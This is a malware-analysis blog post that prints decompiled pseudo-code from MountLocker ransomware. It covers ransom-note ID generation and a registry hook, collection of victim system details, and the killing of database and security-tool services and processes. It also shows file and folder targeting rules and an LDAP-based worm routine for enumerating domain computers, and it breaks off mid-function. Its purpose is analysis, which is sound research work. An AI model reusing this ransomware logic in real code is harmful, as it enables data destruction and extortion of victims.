# [QuickNote] MountLocker – Some pseudo-code snippets **[kienmanowar.wordpress.com/2021/08/04/quicknote-mountlocker-some-pseudo-code-snippets/](https://kienmanowar.wordpress.com/2021/08/04/quicknote-mountlocker-some-pseudo-code-snippets/)** August 4, 2021 ## Refs: https://threatpost.com/mount-locker-ransomware-changes-tactics/165559/ https://chuongdong.com/reverse%20engineering/2021/05/23/MountLockerRansomwar e/ https://github.com/Finch4/Malware-Analysis-Reports/tree/master/MountLocker Parse RecoveryManual.html content in memory and fill %CLIENT_ID% : ----- ``` // Generate CLIENT_ID for ( client_id_pos = StrStrIA(psz_recovery_manual_ransom_note, "%CLIENT_ID%"); client_id_pos; client_id_pos = StrStrIA(psz_recovery_manual_ransom_note, "%CLIENT_ID%") ) { cnt = 32i64; client_id_str = g_str_879538e20b82e80052dd5f7ef9ad5077; // replace %CLIENT_ID% with generated client_id // first 32 bytes is "879538e20b82e80052dd5f7ef9ad5077" // and the rest 32 bytes is random value do { client_id_str[client_id_pos - g_str_879538e20b82e80052dd5f7ef9ad5077] = *client_id_str; ++client_id_str; --cnt; } while ( cnt ); ptr_curr_pos = client_id_pos + 32; for ( j = 0i64; j < 16; ++j ) { *ptr_curr_pos = str_0123456789abcdef[(unsigned __int64)(unsigned __int8)szComputerName[j] >> 4]; ptr_next_pos = ptr_curr_pos + 1; ch_ = szComputerName[j]; *ptr_next_pos = str_0123456789abcdef[ch_ & 0xF]; ptr_curr_pos = ptr_next_pos + 1; } } ## Create registry key for opening RecoveryManual.html : // Software\Classes\.F638D8A0\shell\Open\command wsprintfW(pwzSubKey, L"Software\\Classes\\.%0.8X\\shell\\Open\\command", g_0xF638D8A0); cbData = lstrlenW(L"explorer.exe RecoveryManual.html"); // Sets a registry subkey value in a user-specific subtree (HKEY_CURRENT_USER or HKEY_LOCAL_MACHINE). SHRegSetUSValueW(pwzSubKey, &pwzValue, 1u, L"explorer.exe RecoveryManual.html", 2 * cbData, SHREGSET_FORCE_HKCU); Create log file if /NOLOG is not set: ``` ----- ``` if ( !g_nolog_flag ) { lstrcpyW(lpLogFile, lpMountLockerPath); lstrcatW(lpLogFile, L".log"); // dwShareMode = FILE_SHARE_READ | FILE_SHARE_WRITE h_log_file = CreateFileW(lpLogFile, GENERIC_WRITE|GENERIC_READ, 3u, 0i64, CREATE_ALWAYS, 0, 0i64); if ( h_log_file == (HANDLE)INVALID_HANDLE_VALUE ) { h_log_file = 0i64; } else { g_log_file_and_console_flag = 1; } } // if set /CONSOLE, also log through console. if ( g_console_flag && AllocConsole() ) { hConsoleOutput = GetStdHandle(STD_OUTPUT_HANDLE); if ( hConsoleOutput == (HANDLE)INVALID_HANDLE_VALUE ) { hConsoleOutput = 0i64; } else { g_log_file_and_console_flag = 1; } } ## Collect victim’s system info: ``` ----- ``` int __stdcall f_ml_collect_and_log_victim_info() { __int64 win_arch_value; // r8 _BOOL join_domain_status; // eax const wchar_t *szYesNo; // rbx MAPDST LPWSTR lpCmdLine; // rax SYSTEM_PROCESSOR_INFORMATION NativeSystemInformation; // [rsp+30h] [rbp-D0h] struct _SYSTEM_INFO SystemInfo; // [rsp+40h] [rbp-C0h] struct _MEMORYSTATUS Buffer; // [rsp+70h] [rbp-90h] struct _OSVERSIONINFOW VersionInformation; // [rsp+B0h] [rbp-50h] unsigned __int16 v10; // [rsp+1C4h] [rbp+C4h] WCHAR wsz_infoBuf[272]; // [rsp+1D0h] [rbp+D0h] DWORD bufCharCount; // [rsp+400h] [rbp+300h] enum _NETSETUP_JOIN_STATUS JoinStatus; // [rsp+408h] [rbp+308h] LPWSTR NameBuffer; // [rsp+410h] [rbp+310h] f_ml_write_format_string_to_log_file_or_console(3, L"========== SYS INFO ==========\r\n"); GetSystemInfo(&SystemInfo); f_ml_write_format_string_to_log_file_or_console(3, L"CORE COUNT:\t%u\r\n", SystemInfo.dwNumberOfProcessors); GlobalMemoryStatus(&Buffer); f_ml_write_format_string_to_log_file_or_console(3, L"TOTAL MEM:\t%u MB\r\n", Buffer.dwTotalPhys >> 0x14); memset(&VersionInformation, 0, 0x11Cu); VersionInformation.dwOSVersionInfoSize = 0x11C; if ( !RtlGetVersion(&VersionInformation) ) { f_ml_write_format_string_to_log_file_or_console( 3, L"WIN VER:\t%u.%u.%u SP%u\r\n", VersionInformation.dwMajorVersion, VersionInformation.dwMinorVersion, VersionInformation.dwBuildNumber, v10); } if ( !(unsigned int)RtlGetNativeSystemInformation(1i64, &NativeSystemInformation, 0xCi64) ) { win_arch_value = CPU_ARCH_x86; if ( NativeSystemInformation.ProcessorArchitecture == PROCESSOR_ARCHITECTURE_AMD64 ) { win_arch_value = CPU_ARCH_x64; } f_ml_write_format_string_to_log_file_or_console(3, L"WIN ARCH:\tx%u\r\n", win_arch_value); } bufCharCount = 0xFA; if ( GetUserNameW(wsz_infoBuf, &bufCharCount) ) { wsz_infoBuf[bufCharCount] = 0; f_ml_write_format_string_to_log_file_or_console(3, L"USER NAME:\t%s\r\n", wsz_infoBuf); } ``` ----- ``` bufCharCount 0xFA; if ( GetComputerNameW(wsz_infoBuf, &bufCharCount) ) { wsz_infoBuf[bufCharCount] = 0; f_ml_write_format_string_to_log_file_or_console(3, L"PC NAME:\t%s\r\n", wsz_infoBuf); } JoinStatus = NetSetupUnknownStatus; NameBuffer = 0i64; if ( NetGetJoinInformation(0i64, &NameBuffer, &JoinStatus) ) { join_domain_status = 0; // NetSetupUnknownStatus } else { NetApiBufferFree(NameBuffer); *(_QWORD *)&join_domain_status = JoinStatus == NetSetupDomainName;// The computer is joined to a domain. } szYesNo = L"NO"; szYesNo = L"NO"; if ( join_domain_status ) { szYesNo = L"YES"; // computer is joined domain } f_ml_write_format_string_to_log_file_or_console(3, L"IN DOMAIN:\t%s\r\n", szYesNo); if ( g_isAdmin ) { szYesNo = L"YES"; } f_ml_write_format_string_to_log_file_or_console(3, L"IS ADMIN:\t%s\r\n", szYesNo); f_ml_log_group_infos(); // get cmd_line info when malware is exectuted lpCmdLine = GetCommandLineW(); return f_ml_write_format_string_to_log_file_or_console(3, L"CMDLINE:\t%s\r\n", lpCmdLine); } ## Result: ``` ----- ``` SYS INFO CORE COUNT: 4 TOTAL MEM: 4095 MB WIN VER: 6.1.7601 SP1 WIN ARCH: x64 USER NAME: xxxxx PC NAME: xxxxx-PC IN DOMAIN: NO IS ADMIN: YES IN GROUPS: Mandatory xxxxx-PC\None Mandatory \Everyone Mandatory NT AUTHORITY\Local account and member of Administrators group Mandatory BUILTIN\Administrators Mandatory BUILTIN\Users Mandatory NT AUTHORITY\INTERACTIVE Mandatory \CONSOLE LOGON Mandatory NT AUTHORITY\Authenticated Users Mandatory NT AUTHORITY\This Organization Mandatory NT AUTHORITY\Local account Mandatory \LOCAL Mandatory NT AUTHORITY\NTLM Authentication Integrity Mandatory Label\High Mandatory Level CMDLINE: "mount_locker.exe" ## If /NOKILL is 0, it enumerates and kills all services and processes: + Kill services, if service name contains any string is "SQL", "database", "msexchange" : ``` ----- ``` int f_ml_kill_services_and_log_info() { SC_HANDLE schSCManager; // rdi HANDLE h_proc_heap; // rax MAPDST struct _ENUM_SERVICE_STATUSA *lpServices; // rax MAPDST int ret; // esi __int64 svc_cnt; // rbx int result; // eax DWORD win32_err_code; // eax WCHAR *err_str; // r8 WCHAR v10[36]; // [rsp+40h] [rbp-48h] DWORD NumServicesReturned; // [rsp+90h] [rbp+8h] DWORD ResumeHandle; // [rsp+98h] [rbp+10h] DWORD pcbBytesNeeded; // [rsp+A0h] [rbp+18h] f_ml_write_format_string_to_log_file_or_console(3, L"\r\n================================\r\n"); f_ml_write_format_string_to_log_file_or_console(3, L" KILL SERVICE \r\n"); f_ml_write_format_string_to_log_file_or_console(3, L"================================\r\n"); ResumeHandle = 0; schSCManager = OpenSCManagerA(0i64, 0i64, SC_MANAGER_ALL_ACCESS); if ( !schSCManager ) { goto log_error; } h_proc_heap = GetProcessHeap(); lpServices = (struct _ENUM_SERVICE_STATUSA *)HeapAlloc(h_proc_heap, HEAP_ZERO_MEMORY, 0x40001ui64); if ( !lpServices ) { CloseServiceHandle(schSCManager); log_error: win32_err_code = GetLastError(); if ( (win32_err_code & 0xFFFF0000) == 0x80070000 ) { win32_err_code = (unsigned __int16)win32_err_code; } switch ( win32_err_code ) { case ERROR_LOGON_FAILURE: err_str = L"LOGON_ERROR"; break; case 5u: err_str = L"ACCESS_DENIED"; break; case 8u: err_str = L"NOT_ENOUGH_MEMORY"; break; case 0x35u: err_str = L"BAD_PATH_OR_OFFLINE"; break; default: wsprintfW(v10, L"%0.8X", win32_err_code); ``` ----- ``` err_str v10; break; } return f_ml_write_format_string_to_log_file_or_console(3, L"[ERROR] locekr.kill.service > get services list error=%s\r\n", err_str); } // dwServiceType = SERVICE_WIN32_OWN_PROCESS | SERVICE_WIN32_SHARE_PROCESS | SERVICE_WIN32 // dwServiceState = SERVICE_ACTIVE ret = EnumServicesStatusA(schSCManager, SERVICE_WIN32, 1u, lpServices, 0x40000u, &pcbBytesNeeded, &NumServicesReturned, &ResumeHandle); if ( ret ) { svc_cnt = 0i64; if ( NumServicesReturned ) { // kills all services with these strings in their name: "SQL", "database", "msexchange" while ( 1 ) { ret = f_ml_terminate_service_and_log_info(schSCManager, (PCSTR *)&lpServices[svc_cnt].lpServiceName); if ( !ret ) { break; } svc_cnt = (unsigned int)(svc_cnt + 1); if ( (unsigned int)svc_cnt >= NumServicesReturned ) { goto exit_sub; } } ret = 1; } } exit_sub: h_proc_heap = GetProcessHeap(); HeapFree(h_proc_heap, 0, lpServices); result = CloseServiceHandle(schSCManager); if ( !ret ) { goto log_error; } return result; } ``` ----- ``` __int64 __fastcall f_ml_terminate_service_and_log_info(SC_HANDLE schSCManager, PCSTR *lpServiceName) { DWORD v4; // er8 int ret; // eax const wchar_t *kill_service_status; // rdx if ( !StrStrIA(*lpServiceName, "SQL") && !StrStrIA(*lpServiceName, "database") && !StrStrIA(*lpServiceName, "msexchange") && !StrStrIA(lpServiceName[1], "SQL") && !StrStrIA(lpServiceName[1], "database") && !StrStrIA(lpServiceName[1], "msexchange") ) { return 1i64; } // Terminate service if contains any of the three strings above. f_ml_write_format_string_to_log_file_or_console(3, L"%S... ", *lpServiceName); ret = f_ml_terminate_service(schSCManager, *lpServiceName, v4); if ( ret >= 0 ) { kill_service_status = L"timeout\r\n"; if ( ret ) { kill_service_status = L"ok\r\n"; } } else { kill_service_status = L"fail\r\n"; } f_ml_write_format_string_to_log_file_or_console(3, kill_service_status); return 1i64; } ## + Kill processes, if process name is matching with hard-coded list: ``` ----- ``` msftesql.exe "sqlagent.exe" "sqlbrowser.exe" "sqlwriter.exe" "oracle.exe" "ocssd.exe" "dbsnmp.exe" "synctime.exe" "agntsvc.exe" "isqlplussvc.exe" "xfssvccon.exe" "sqlservr.exe" "mydesktopservice.exe" "ocautoupds.exe" "encsvc.exe" "firefoxconfig.exe" "tbirdconfig.exe" "mydesktopqos.exe" "ocomm.exe" "mysqld.exe" "mysqld-nt.exe" "mysqld-opt.exe" "dbeng50.exe" "sqbcoreservice.exe" "excel.exe" "infopath.exe" "msaccess.exe" "mspub.exe" "onenote.exe" "outlook.exe" "powerpnt.exe" "sqlservr.exe" "thebat.exe" "steam.exe" "thebat64.exe" "thunderbird.exe" "visio.exe" "winword.exe" "wordpad.exe" "QBW32.exe" "QBW64.exe" "ipython.exe" "wpython.exe" "python.exe" "dumpcap.exe" "procmon.exe" "procmon64.exe" "procexp.exe" "procexp64.exe" ``` ----- ``` int __stdcall f_ml_kill_processes_and_log_info() { DWORD curr_proc_id; // esi SYSTEM_PROCESS_INFORMATION *SystemInformation; // rdx SIZE_T dwBytes; // rbx HANDLE h_proc_heap; // rax MAPDST SYSTEM_PROCESS_INFORMATION *system_proc_info; // rax MAPDST unsigned int status; // eax int nChar; // eax DWORD win32_err_code; // eax WCHAR *err_str; // r8 WCHAR v14[24]; // [rsp+40h] [rbp-C0h] CHAR process_name[272]; // [rsp+70h] [rbp-90h] ULONG SystemInformationLength; // [rsp+1A0h] [rbp+A0h] f_ml_write_format_string_to_log_file_or_console(3, L"\r\n================================\r\n"); f_ml_write_format_string_to_log_file_or_console(3, L" KILL PROCESS \r\n"); f_ml_write_format_string_to_log_file_or_console(3, L"================================\r\n"); system_proc_info = 0i64; SystemInformationLength = 0; *(_QWORD *)&curr_proc_id = GetCurrentProcessId(); for ( SystemInformation = 0i64; ; SystemInformation = system_proc_info ) { status = ZwQuerySystemInformation(SystemProcessInformation, SystemInformation, SystemInformationLength, &SystemInformationLength); if ( status != (unsigned int)STATUS_INFO_LENGTH_MISMATCH )// record length does not match the length required for the specified information class. { break; } if ( !SystemInformationLength ) { goto log_error_info; } dwBytes = SystemInformationLength + 1i64; h_proc_heap = GetProcessHeap(); system_proc_info = (SYSTEM_PROCESS_INFORMATION *)(system_proc_info ? HeapReAlloc(h_proc_heap, HEAP_ZERO_MEMORY, system_proc_info, dwBytes) : HeapAlloc(h_proc_heap, HEAP_ZERO_MEMORY, dwBytes)); if ( !system_proc_info ) { goto log_error_info; } } if ( status ) { SetLastError(status); if ( system_proc_info ) { h_proc_heap = GetProcessHeap(); HeapFree(h_proc_heap, 0, system_proc_info); } ``` ----- ``` } else if ( system_proc_info ) { while ( 1 ) { if ( (unsigned __int64)system_proc_info->UniqueProcessId & 0xFFFFFFFFFFFFFFFBui64 && system_proc_info->NumberOfThreads && system_proc_info->UniqueProcessId != *(HANDLE *)&curr_proc_id// avoid current MountLocker process && system_proc_info->ImageName.Buffer && system_proc_info->ImageName.Length ) { process_name[0] = 0; // CodePage = CP_ACP nChar = WideCharToMultiByte( 0, 0, system_proc_info->ImageName.Buffer, system_proc_info->ImageName.Length >> 1, process_name, MAX_PATH, 0i64, 0i64); if ( nChar < 0 ) { process_name[0] = 0; } else { process_name[nChar] = 0; } // enumerate and kill all processes if process name is matching with hardcoded list if ( !f_ml_terminate_process(process_name, system_proc_info) ) { break; } } if ( !system_proc_info->NextEntryOffset ) { break; } system_proc_info = (SYSTEM_PROCESS_INFORMATION *)((char *)system_proc_info + system_proc_info->NextEntryOffset); } h_proc_heap = GetProcessHeap(); return HeapFree(h_proc_heap, 0, system_proc_info); } log_error_info: win32_err_code = GetLastError(); if ( (win32_err_code & 0xFFFF0000) == 0x80070000 ) { win32_err_code = (unsigned __int16)win32_err_code; } ``` ----- ``` switch ( win32_err_code ) { case 0x52Eu: err_str = L"LOGON_ERROR"; break; case 5u: err_str = L"ACCESS_DENIED"; break; case 8u: err_str = L"NOT_ENOUGH_MEMORY"; break; case 0x35u: err_str = L"BAD_PATH_OR_OFFLINE"; break; default: wsprintfW(v14, L"%0.8X", win32_err_code); err_str = v14; break; } return f_ml_write_format_string_to_log_file_or_console(3, L"[ERROR] locekr.kill.process > get process list error=%s\r\n", err_str); } ``` ----- ``` unsigned int __fastcall f_ml_terminate_process(LPCSTR process_name, SYSTEM_PROCESS_INFORMATION *system_proc_info) { const CHAR *ptr_proc_list; // rax int i; // ebx HANDLE h_process; // rax MAPDST BOOL status; // ebx const wchar_t *str; // rdx ptr_proc_list = g_processes_list; i = 0; while ( ptr_proc_list ) { if ( !lstrcmpiA(process_name, ptr_proc_list) ) { f_ml_write_format_string_to_log_file_or_console(3, L"%S... ", process_name); h_process = OpenProcess(1u, 0, (DWORD)system_proc_info->UniqueProcessId); if ( h_process ) { status = TerminateProcess(h_process, 0); CloseHandle(h_process); str = L"ok\r\n"; if ( !status ) { str = L"fail kill\r\n"; } } else { str = L"fail open\r\n"; } f_ml_write_format_string_to_log_file_or_console(3, str); return 1; } ptr_proc_list = (&g_processes_list)[++i]; } return 1; } ## Enumerate target drive: ``` ----- ``` ml_target_detail __fastcall f_ml_enum_target_drive(LPCWSTR target_name, __int64 a2, __int64 a3, ml_target_info *target_info) { HANDLE h_proc_heap; // rax MAPDST ml_target_detail *target_detail; // rax MAPDST __int64 target_name_len; // rcx unsigned int v10; // ebx h_proc_heap = GetProcessHeap(); target_detail = (ml_target_detail *)HeapAlloc(h_proc_heap, 8u, 0x20271ui64); if ( !target_detail ) { return target_detail; } *(_QWORD *)&target_detail->num_targets = 0i64; target_detail->val_1 = 1; target_detail->target_info = target_info; target_detail->f_ml_processing_target_and_drop_ransom_note = f_ml_processing_target_and_drop_ransom_note; lstrcpyW(target_detail->target_name, target_name); target_name_len = lstrlenW(target_name); if ( *((_WORD *)&target_detail->field_1C + target_name_len + 1) != '\\' ) { *(_DWORD *)&target_detail->target_name[target_name_len] = '\\'; } v10 = f_ml_recursive_enum_folder(target_detail); h_proc_heap = GetProcessHeap(); HeapFree(h_proc_heap, 0, target_detail); target_detail = (ml_target_detail *)v10; return target_detail; } ## + Skip if folder name is "." or ".." : ``` ----- ``` if ( target_detail_cp >lpFindData.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY ) { if ( target_detail_cp->lpFindData.cFileName[0] != '.' || (v11 = target_detail_cp->lpFindData.cFileName[1]) != 0 && (v11 != '.' || target_detail_cp->lpFindData.cFileName[2]) )// check '.' and '..' { // ex: \\?\c:\$Recycle.Bin lstrcpyW(v7->target_name, target_detail_cp->lpFindData.cFileName); // \\?\c:\$Recycle.Bin\ lstrcatW(v7->target_name, L"\\"); if ( target_detail_cp->f_ml_processing_target_and_drop_ransom_note(IS_FOLDER, stru_offset, target_detail_cp->target_info) ) { if ( target_detail_cp->val_1 ) { ++target_detail_cp->field_1C; f_ml_recursive_enum_folder(target_detail_cp); --target_detail_cp->field_1C; } } v7->target_name[0] = 0; // clear file or folder name } } ## + Call function for checking target (folder / file) can be encrypted: __int64 __fastcall f_ml_processing_target_and_drop_ransom_note(int isFolder, __int64 *stru_offset, ml_target_info *target_info) { // if target is folder, check is in avoid list if ( isFolder ) { return f_ml_check_folder_in_ignored_list_and_log_info(stru_offset, target_info); } // else if target is file, check is valid if ( f_ml_check_file_is_in_exception_list(stru_offset, target_info) ) { f_ml_push_target_in_queue(stru_offset, target_info); } if ( target_info->field_0 == *(_DWORD *)stru_offset ) { return 1i64; } // drop a ransom note in the folder. lstrcpyW(&target_info->target_ransom_note_name, CONTAINING_RECORD(stru_offset, ml_target_detail, num_targets)->target_name); lstrcatW(&target_info->target_ransom_note_name, L"RecoveryManual.html"); if ( f_ml_create_file(&target_info->target_ransom_note_name, psz_recovery_manual_ransom_note, pcbRecoveryManualLen) ) { target_info->field_0 = *(_DWORD *)stru_offset; } return 1i64; } ``` ----- ## + If target is folder, skipped folder is in ignored list: ``` ":\\Windows\\" ":\\System Volume Information\\" ":\\$RECYCLE.BIN\\" ":\\SYSTEM.SAV" ":\\WINNT" ":\\$WINDOWS.~BT\\" ":\\Windows.old\\" ":\\PerfLog\\" ":\\Boot" ":\\ProgramData\\Microsoft\\" ":\\ProgramData\\Packages\\" "$\\Windows\\" "$\\System Volume Information\\" "$\\$RECYCLE.BIN\\" "$\\SYSTEM.SAV" "$\\WINNT" "$\\$WINDOWS.~BT\\" "$\\Windows.old\\" "$\\PerfLog\\" "$\\Boot" "$\\ProgramData\\Microsoft\\" "$\\ProgramData\\Packages\\" "\\WindowsApps\\" "\\Microsoft\\Windows\\" "\\Local\\Packages\\" "\\Windows Defender" "\\microsoft shared\\" "\\Google\\Chrome\\" "\\Mozilla Firefox\\" "\\Mozilla\\Firefox\\" "\\Internet Explorer\\" "\\MicrosoftEdge\\" "\\Tor Browser\\" "\\AppData\\Local\\Temp\\" ``` ----- ``` __int64 __fastcall f_ml_check_folder_in_ignored_list_and_log_info(__int64 *stru_offset, ml_target_info *target_info) { REPARSE_DATA_BUFFER *reparse_point_data; // r14 const WCHAR *ptr_ignored_folder_list; // rax const WCHAR *target_name; // rdi __int64 i; // rbx const wchar_t *black_list_info; // rdx HANDLE hFile; // rbp __int64 win32_err_code; // r8 const wchar_t *err_log_str; // rdx BOOL ret; // ebx __int64 v14; // rax char *v15; // rbx DWORD BytesReturned; // [rsp+68h] [rbp+10h] reparse_point_data = (REPARSE_DATA_BUFFER *)&target_info->target_ransom_note_name; _InterlockedAdd(&dword_140013350, 1u); ptr_ignored_folder_list = g_ignored_folder_list; target_name = CONTAINING_RECORD(stru_offset, ml_target_detail, num_targets)>target_name; i = 0i64; while ( ptr_ignored_folder_list ) { if ( StrStrIW(target_name, ptr_ignored_folder_list) ) { black_list_info = L"[SKIP] locker.dir.check > black_list name=%s\r\n"; LABEL_10: _InterlockedAdd(&dword_140013354, 1u); log_info: f_ml_write_format_string_to_log_file_or_console(1, black_list_info, target_name); return 0i64; } ptr_ignored_folder_list = (&g_ignored_folder_list)[++i]; } if ( g_target || g_fullpd_flag ) { target_info->encrypt_target_of_full_flag = 0; } else if ( f_ml_check_folder_name_is_ProgramData_ProgramFiles_SQL(stru_offset, target_info) ) { black_list_info = L"[SKIP] locker.dir.check > no sql program dir name=%s\r\n"; goto LABEL_10; } if ( !(CONTAINING_RECORD(stru_offset, ml_target_detail, num_targets)>lpFindData.dwFileAttributes & FILE_ATTRIBUTE_REPARSE_POINT) ) { f_ml_write_format_string_to_log_file_or_console(1, L"[OK] locker.dir.check > name=%s\r\n", target_name); return 1i64; } // try to open target // dwShareMode = FILE_SHARE_DELETE | FILE_SHARE_READ | FILE_SHARE_WRITE ``` ----- ``` // dwCreationDisposition OPEN_EXISTING hFile = CreateFileW(target_name, 0x80u, 7u, 0i64, OPEN_EXISTING, 0x2200400u, 0i64); if ( hFile == (HANDLE)INVALID_HANDLE_VALUE ) { win32_err_code = GetLastError(); err_log_str = L"[WARN] locker.dir.check > open error=%u name=%s\r\n"; log_error: f_ml_write_format_string_to_log_file_or_console(1, err_log_str, win32_err_code, target_name); return 1i64; } // Use DeviceIoControl() with the FSCTL_GET_REPARSE_POINT control code to obtain an REPARSE_DATA_BUFFER struct ret = DeviceIoControl(hFile, FSCTL_GET_REPARSE_POINT, 0i64, 0, reparse_point_data, 0x4000u, &BytesReturned, 0i64); CloseHandle(hFile); if ( !ret ) { win32_err_code = GetLastError(); err_log_str = L"[WARN] locker.dir.check > get_reparse_point error=%u name=%s\r\n"; goto log_error; } // folder is a mount point if ( reparse_point_data->ReparseTag == IO_REPARSE_TAG_MOUNT_POINT ) { v14 = 0x10i64; } else { if ( reparse_point_data->ReparseTag != IO_REPARSE_TAG_SYMLINK )// folder is not a symbolic link { win32_err_code = reparse_point_data->ReparseTag; err_log_str = L"[WARN] locker.dir.check > unknown_tag tag=%0.8X name=%s\r\n"; goto log_error; } v14 = 0x14i64; } v15 = (char *)reparse_point_data + v14; if ( *target_name == '\\' && CONTAINING_RECORD(stru_offset, ml_target_detail, num_targets)->target_name[1] == '\\' && CONTAINING_RECORD(stru_offset, ml_target_detail, num_targets)->target_name[2] != '?' ) { black_list_info = L"[SKIP] locker.dir.check > reparse_point_into_share name=%s\r\n"; goto log_info; } if ( StrStrIW((PCWSTR)((char *)reparse_point_data + v14), L":\\") ) { _InterlockedAdd(&dword_140013354, 1u); f_ml_write_format_string_to_log_file_or_console(1, L"[SKIP] locker.dir.check > target_visibled target=%s name=%s\r\n", v15, target_name); ``` ----- ``` return 0i64; } f_ml_write_format_string_to_log_file_or_console(1, L"[OK] locker.dir.check > target_hidden target=%s name=%s\r\n", v15, target_name); return 1i64; } ## …. and skipped folder name is: "SQL" "Program Files" "Program Files (x86)" "ProgramData" _BOOL __fastcall f_ml_check_folder_name_is_ProgramData_ProgramFiles_SQL(__int64 *stru_offset, ml_target_info *target_info) { __int32 flag; // ebx const WCHAR *target_name; // rsi flag = 0; if ( CONTAINING_RECORD(stru_offset, ml_target_detail, num_targets)->field_1C ) { return target_info->encrypt_target_of_full_flag && CONTAINING_RECORD(stru_offset, ml_target_detail, num_targets)->field_1C == 1 && !StrStrIW(CONTAINING_RECORD(stru_offset, ml_target_detail, num_targets)>lpFindData.cFileName, L"SQL"); } target_name = CONTAINING_RECORD(stru_offset, ml_target_detail, num_targets)>lpFindData.cFileName; if ( StrCmpIW(CONTAINING_RECORD(stru_offset, ml_target_detail, num_targets)>lpFindData.cFileName, L"Program Files") && StrCmpIW(target_name, L"Program Files (x86)") ) { LOBYTE(flag) = StrCmpIW(target_name, L"ProgramData") == 0; target_info->encrypt_target_of_full_flag = flag; } else { target_info->encrypt_target_of_full_flag = 1; } return 0; } + If target is file, check is valid to be encrypted: ``` ----- ``` unsigned int __fastcall f_ml_check_file_is_in_execption_list(__int64 stru_offset, ml_target_info *target_info) { DWORD file_size; // eax WCHAR *file_name; // rbx _InterlockedIncrement(&dword_140013320); if ( target_info->encrypt_target_of_full_flag && CONTAINING_RECORD(stru_offset, ml_target_detail, num_targets)->field_1C == 1 ) { _InterlockedIncrement(&dword_140013334); return 0; } file_size = CONTAINING_RECORD(stru_offset, ml_target_detail, num_targets)>lpFindData.nFileSizeLow; // If file size is less than MIN_CRYPT_SIZE | if file size is larger than MAX_CRYPT_SIZE // then exit sub if ( (!file_size || file_size < g_min_size_to_enc_flag) && !CONTAINING_RECORD(stru_offset, ml_target_detail, num_targets)>lpFindData.nFileSizeHigh || g_max_size_to_enc_flag && (CONTAINING_RECORD(stru_offset, ml_target_detail, num_targets)>lpFindData.nFileSizeHigh || g_max_size_to_enc_flag < file_size) ) { _InterlockedIncrement(&dword_140013338); return 0; } // not encrypt ransom note file file_name = CONTAINING_RECORD(stru_offset, ml_target_detail, num_targets)>lpFindData.cFileName; if ( !lstrcmpiW(CONTAINING_RECORD(stru_offset, ml_target_detail, num_targets)>lpFindData.cFileName, L"RecoveryManual.html") ) { _InterlockedIncrement(&dword_140013330); return 0; } // not include Boot Manager if ( !lstrcmpiW(file_name, L"bootmgr") ) { goto exit_sub; } // file name has the encrypted file extension if ( StrStrIW(file_name, g_enc_file_ext_ReadManual_F638D8A0) ) { _InterlockedIncrement(&dword_14001332C); return 0; } // file extension is in the ignored list if ( !f_ml_check_extension_in_ignored_list(file_name) ) { return 1; } exit_sub: _InterlockedIncrement(&dword_140013328); ``` ----- ``` return 0; } ## + File extension is not in ignored list: 'exe' 'dll' 'sys' 'msi' 'mui' 'inf' 'cat' 'bat' 'cmd' 'ps1' 'vbs' 'ttf' 'fon' 'lnk' ``` ----- ``` unsigned int __fastcall f_ml_check_extension_in_ignored_list(WCHAR file_name) { WCHAR curr_char; // r8 WCHAR *v2; // rdx WCHAR *psz_extension; // rax _WORD *ext_name_pos; // rdx __int64 i; // rcx signed __int64 offset; // r8 const WCHAR *pwsz_ignored_ext_list; // rax __int64 ignored_ext_idx; // rbx WCHAR psz1[36]; // [rsp+20h] [rbp-48h] curr_char = *file_name; v2 = 0i64; if ( !*file_name ) { return 0; } do { psz_extension = file_name; if ( curr_char != '.' ) { psz_extension = v2; } ++file_name; v2 = psz_extension; curr_char = *file_name; } while ( *file_name ); if ( !psz_extension ) { return 0; } ext_name_pos = psz_extension + 1; i = 0i64; if ( psz_extension[1] ) { offset = (char *)psz1 - (char *)ext_name_pos; // copy extension name to new buffer while ( i != 30 ) { ++i; *(_WORD *)((char *)ext_name_pos + offset) = *ext_name_pos; ++ext_name_pos; if ( !*ext_name_pos ) { goto chec_in_avoid_list; } } } else { chec_in_avoid_list: psz1[i] = 0; ``` ----- ``` if ( i ) { pwsz_ignored_ext_list = g_ignored_extension_list; ignored_ext_idx = 0i64; while ( pwsz_ignored_ext_list ) { if ( !StrCmpIW(psz1, pwsz_ignored_ext_list) ) { return 1; } pwsz_ignored_ext_list = (&g_ignored_extension_list)[++ignored_ext_idx]; } } } return 0; } ## Worm feature + Use IDirectorySearch COM interface to enumerate PC into domain: ``` ----- ``` unsigned int __fastcall f_ml_enum_pc_into_domain_via_LDAP(ml_worm_info worm_info) { const WCHAR *wsz_UserName; // rbx const WCHAR *wsz_Password; // rsi DWORD err_code; // eax HRESULT v6; // edx MACRO_NERR hres; // ebx MAPDST HRESULT res; // eax HRESULT err_code_1; // er8 WCHAR *err_str; // r8 WCHAR v12[24]; // [rsp+30h] [rbp-D0h] WCHAR lpszLDAPPathName[280]; // [rsp+60h] [rbp-A0h] IDirectorySearch *pDSSearch; // [rsp+2A0h] [rbp+1A0h] __int64 phSearchResult; // [rsp+2A8h] [rbp+1A8h] LPBYTE lpDcName; // [rsp+2B0h] [rbp+1B0h] const wchar_t *wsz_name; // [rsp+2B8h] [rbp+1B8h] wsz_name = L"name"; f_ml_write_format_string_to_log_file_or_console(3, L"Enum PC into domain...\r\n"); wsz_UserName = g_szUserName; wsz_Password = g_szPassword; lpDcName = 0i64; // use LDAP to make Active Directory query requests to the primary domain controller lstrcpyW(lpszLDAPPathName, L"LDAP://"); err_code = NetGetDCName(0i64, 0i64, &lpDcName); hres = NERR_DCNotFound; if ( err_code == NERR_DCNotFound ) { v6 = NERR_DCNotFound; } else { if ( !err_code && lpDcName ) { lstrcatW(lpszLDAPPathName, (LPCWSTR)lpDcName + 2); NetApiBufferFree(lpDcName); } // retrieves IDirectorySearch interface hres = ADsOpenObject(lpszLDAPPathName, wsz_UserName, wsz_Password, 0, &IID_IDirectorySearch, (void **)&pDSSearch); if ( hres == NERR_Success ) { // search for all computers in domain hres = (unsigned int)pDSSearch->lpVtbl->ExecuteSearch(pDSSearch, L" (objectClass=computer)", &wsz_name, 1i64, &phSearchResult); if ( hres == NERR_Success ) { for ( res = pDSSearch->lpVtbl->GetFirstRow(pDSSearch, phSearchResult); ; res = pDSSearch->lpVtbl->GetNextRow(pDSSearch, phSearchResult) ) { hres = res; if ( res ) { break; ``` ----- ``` } hres = f_ml_extract_DN_string_and_setup_stru_func(pDSSearch, phSearchResult, worm_info); if ( hres ) { break; } } pDSSearch->lpVtbl->CloseSearchHandle(pDSSearch, phSearchResult); } pDSSearch->lpVtbl->Release(pDSSearch); hres = NERR_Success; } v6 = hres; if ( hres == NERR_Success ) 